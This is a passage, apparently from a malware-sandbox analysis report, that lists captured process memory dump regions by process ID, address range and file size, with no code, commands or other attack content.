                                                                                                                                                                                                                          • memory/4860-113-0x000001CD437D0000-0x000001CD437D1000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                          • memory/4860-108-0x000001CD437D0000-0x000001CD437D1000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                          • memory/4860-109-0x000001CD437D0000-0x000001CD437D1000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                          • memory/4860-115-0x000001CD437D0000-0x000001CD437D1000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                          • memory/4860-116-0x000001CD437D0000-0x000001CD437D1000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                          • memory/4860-114-0x000001CD437D0000-0x000001CD437D1000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                          • memory/5252-2295-0x0000000000400000-0x0000000000549000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.3MB

                                                                                                                                                                                                                          • memory/5500-2802-0x0000000000400000-0x0000000000549000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.3MB

                                                                                                                                                                                                                          • memory/5672-870-0x0000000000400000-0x00000000004AA000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            680KB

                                                                                                                                                                                                                          • memory/5672-1205-0x0000000000400000-0x00000000004AA000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            680KB

                                                                                                                                                                                                                          • memory/5772-883-0x0000000000400000-0x0000000000478000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            480KB

                                                                                                                                                                                                                          • memory/5772-711-0x0000000000400000-0x0000000000478000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            480KB

                                                                                                                                                                                                                          • memory/5772-1868-0x0000000000400000-0x0000000000478000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            480KB

                                                                                                                                                                                                                          • memory/6040-720-0x0000000000400000-0x0000000000455000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            340KB

                                                                                                                                                                                                                          • memory/6040-791-0x0000000000400000-0x0000000000455000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            340KB

                                                                                                                                                                                                                          • memory/6044-1217-0x0000000000400000-0x0000000000537000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.2MB

                                                                                                                                                                                                                          • memory/6044-1188-0x0000000000400000-0x0000000000537000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.2MB

                                                                                                                                                                                                                          • memory/6044-1218-0x0000000000400000-0x0000000000537000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.2MB

                                                                                                                                                                                                                          • memory/6044-1186-0x0000000000400000-0x0000000000537000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.2MB

                                                                                                                                                                                                                          • memory/7288-26474-0x0000000000400000-0x000000000048B000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            556KB

                                                                                                                                                                                                                          • memory/7592-2814-0x0000000140000000-0x0000000140054000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            336KB

                                                                                                                                                                                                                          • memory/8376-18115-0x0000000000400000-0x0000000000487000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            540KB

                                                                                                                                                                                                                          • memory/8376-10694-0x0000000000400000-0x0000000000487000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            540KB

                                                                                                                                                                                                                          • memory/10208-8961-0x0000000005340000-0x00000000054FB000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.7MB

                                                                                                                                                                                                                          • memory/11136-11012-0x0000000074AB0000-0x0000000074AE9000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            228KB